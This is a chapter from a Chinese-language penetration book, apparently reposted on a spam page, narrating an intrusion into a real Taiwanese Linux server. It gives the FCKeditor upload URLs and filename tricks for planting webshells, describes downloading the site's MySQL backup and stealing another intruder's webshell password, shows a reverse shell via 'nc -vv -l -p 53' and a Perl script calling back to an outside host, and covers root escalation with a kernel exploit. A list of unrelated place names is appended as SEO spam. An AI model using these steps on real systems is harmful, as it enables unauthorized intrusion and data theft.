官术网_书友最值得收藏!

3.1 利用FCKeditor漏洞滲透某Linux服務器

FCKeditor是一個專門使用在網頁上屬于開放源代碼的所見即所得文字編輯器,它使用簡單,不需要太復雜的安裝步驟即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java,以及ABAP等不同的編程語言相結合。“FCKeditor”名稱中的“FCK”是這個編輯器的作者的名字Frederico Caldeira Knabben的縮寫。很多網站使用FCKeditor在線編輯器,目前最新版本為3.0.1,在FCKeditor編輯器早期版本由于過濾不嚴格、安全意識等原因除了多個漏洞,主要通過文件上傳來獲取WebShell。FCKeditor漏洞主要利用思路如下。

(1)通過Google等搜索引擎或者通過查看網站源代碼來獲取網站是否使用FCKeditor編輯器。在發布內容模塊,也容易區分系統是否使用FCKeditor編輯器。

(2)獲取或者猜測FCKeditor的安裝目錄??梢允鞘止ひ部梢酝ㄟ^工具軟件掃描目錄獲取FCKeditor的安裝目錄以及存在的文件。

(3)IIS6.0文件解析漏洞上傳一句話木馬或者WebShell。IIS6.0中存在一個文件解析漏洞,在以“*.asp”文件命名的目錄下即使突破文件也能被解析執行。另外,文件名稱類似“1.asp;1.jpg”的文件在上傳時可以以asp文件被執行。

(4)直接上傳WebShell。在獲取了FCKeditor的安裝路徑后,可以瀏覽或者上傳文件,例如在早期版本中輸入這個地址可以直接上傳文件:

fckeditor/editor/filemanager/browser/default/browser.html?Type=ImageConn ector=connectors/asp/connector.asp

下面以一個實際案例來講解如何通過FCKeditor滲透臺灣地區的某服務器。

3.1.1 一個Shell引發的滲透

Jsp的WebShell主要有JShell、JFold和jspFilebrowser三種,當然還有單獨所謂“CMD”型的JSP后門,它主要功能就是執行類似CMD的命令。通過Google搜索“阿呆JSP WebShell”時出來一個JSP的網頁地址,如圖3-1所示,憑感覺知道第一個搜索記錄就是一個WebShell地址。

圖3-1 搜索WebShell

3.1.2 驗證WebShell

直接打開第一個搜索記錄,獲取真實的網站地址:

“http://www.xxxxx.com/UserFiles/Image/IMG20090817235411840.jsp,打開后能夠正常運行,如圖3-2所示,輸入一些常見的密碼進行嘗試登錄,均未能成功!說明使用該WebShell使用的是自己的密碼。

圖3-2 測試WebShell

3.1.3 分析WebShell

拿到一個WebShell后第一感覺是該網站肯定存在漏洞,入侵者有可能修復過漏洞也可能未修復漏洞,從該地址來看很像FCKeditor編輯器,直接在網站地址后加上“FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connecto rs/jsp/connector”打開,如圖3-3所示,直接打開了FCKeditor熟悉的上傳頁面。

圖3-3 打開FCKeditor上傳頁面

說明:

FCKeditor編輯器的典型目錄結構如圖3-4所示,本例中的“UserFiles/ Image/”就屬于這種結構。

圖3-4

3.1.4 上傳WebShell

在FCKeditor中單擊瀏覽按鈕直接選擇一個JSP的WebShell文件,然后單擊“Upload”按鈕上傳,如圖3-5所示,上傳成功。

圖3-5 上傳WebShell

技巧:

(1)在上傳時可以先使用“Create New Folder”創建一個文件夾,如果能夠創建說明權限較大,基本可以成功上傳文件。

(2)在直接上傳文件失敗的情況下,可以嘗試分別上傳文件名稱為“1.asp;1.jpg”和“1.asp;jpg”的一句話木馬。

(3)在某些情況下還可以直接瀏覽當前目錄的文件,可能會留下前任入侵者留下的現存WebShell。

(4)在“browser.html?Type=Image”中的Type有File、Flash和Image三種類型,可以在地址中進行修改,用來上傳或者查看文件、Flash文件和圖像文件。

(5)關于各種版本的FCKeditor上傳利用地址:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Con nector=connectors

JSP版本:/jsp/connector

Asp版本:/asp/connector

Aspx版本:/aspx/connector

Cfm版本:/cfm/connector

3.1.5 測試上傳的WebShell

由于FCKeditor的典型目錄結構為“UserFiles/Image/”,因此上傳的WebShell地址公式為“UserFiles/Image(File和Flash)/+文件名稱”,在本例中是上傳的Flash文件目錄,因此實際地址為“http://www.xxxxx.com/UserFiles/Flash/Browser.jsp”,如圖3-6所示,WebShell能夠正常運行,此時就可以利用WebShell下載、上傳、刪除、復制以及執行命令等操作。

圖3-6 測試上傳的WebShell

3.1.6 對WebShell所在服務器進行分析與信息收集

(1)獲取服務器類型

在獲取WebShell后可以通過它來執行命令,查看服務器的配置情況,如圖3-7所示,通過瀏覽文件目錄可以看到該服務器為Linux服務器。

圖3-7 獲取服務器類型

(2)下載網站源代碼與數據

滲透能夠快速地提高個人能力,在滲透成功后通過下載網站源代碼與數據到本地進行分析,取長補短學習他人長處,快速積累經驗。在本例中通過查看該服務器下的“var/mysqlbak”目錄,獲取了該網站的數據庫MySQL備份文件,如圖3-8所示,通過WebShell可以下載單獨的文件,也可以打包下載整個網站的文件。

圖3-8 下載MySQL數據庫

(3)獲取他人WebShell密碼

他人WebShell是本次滲透的動力,通過WebShell的地址去查看文件的實際地址,使用cat命令查看其登錄密碼:cat home/webhome/ xxxxx.com/WEB-INF/webapps/ROOT/ UserFiles/Image/IMG20090817235411840.jsp”,如圖3-9所示,獲取其密碼為“191903***”

圖3-9 獲取WebShell的密碼

3.1.7 服務器提權

(1)查看Linux版本

在WebShell中直接執行“uname -a”命令用以獲取Linux的版本,結果顯示為“Linux java.pumo.com.tw 2.6.9-11.ELsmp #1 SMP Fri May 20 18:26:27 EDT 2005 i686 i686 i386 GNU/Linux”,如圖3-10所示。由圖3-10可知該服務器的內核為2.6.9-11版本,目前Linux穩定的最新內核版本為2.6.32(Linux最新內核版本查看地址:http://kernel.org/pub/ linux/kernel/v2.6/),從這個版本可以判斷該服務器可以較容易被提權。

圖3-10 獲取Linux內核版本

(2)查看操作系統

“/etc/issue”主要顯示操作系統發行版本等信息,用戶可以定制issue,也就是說可以手動修改,如果未修改則默認顯示各個操作發行版本的信息,如圖3-11所示,使用“cat/etc/issue”命令查看該操作系統的版本信息,結果顯示該操作系統為紅帽Linux企業版本,獲取該信息的目的就是選擇相應的溢出程序來提權。

圖3-11 獲取操作系統發行版本

(3)反彈回Shell

將反彈腳本c.pl上傳到路徑“/var/tmp”下,然后在受控計算機(肉雞)上執行“nc -vv-l -p 53”,再然后在該WebShell中執行“perl /var/tmp/c.pl 202.102.xxx.xxx 53”,如圖3-12所示,將該服務器反彈到肉雞(202.102.xxx.xxx)的53端口上。

圖3-12 編譯反彈腳本

說明:執行成功后會給出一定的提示,否則表明編譯未成功或者存在其他問題。在WebShell上執行成功后會在肉雞上顯示一個Shell,如圖3-13所示,該Shell相當于一個終端,從反彈的結果來看,反彈回來的權限是普通用戶的,為了全面控制系統需要獲取Root權限。

圖3-13 成功反彈

(4)嘗試提權

通過WebShell上傳最新的sendpage3利用程序,上傳成功后,在反彈的Shell中進行查看上傳的程序,然后直接執行“./run”命令,如圖3-14所示,直接提權為Root用戶權限。

圖3-14 提權成功

3.1.8 總結與探討

本案例通過FCKeditor漏洞成功獲取WebShell后,然后通過查看Linux版本,操作系統的發行版本等信息,上傳相應的漏洞利用程序,通過在反彈的終端執行exploit而獲得系統的最高權限。從本質上來說,滲透的核心就是漏洞,只要找到漏洞,選擇相應的溢出(漏洞)程序,就可以滲透成功!

主站蜘蛛池模板: 浦东新区| 安乡县| 塔河县| 伊春市| 青铜峡市| 嘉定区| 宝兴县| 永靖县| 大悟县| 乌审旗| 亚东县| 英德市| 扎囊县| 广水市| 灯塔市| 乃东县| 岳池县| 栖霞市| 裕民县| 海伦市| 西昌市| 呼伦贝尔市| 曲松县| 太白县| 三江| 元谋县| 琼结县| 台山市| 商丘市| 土默特左旗| 兰坪| 洱源县| 广宁县| 县级市| 灌云县| 永州市| 平远县| 乳山市| 托克逊县| 田阳县| 额敏县|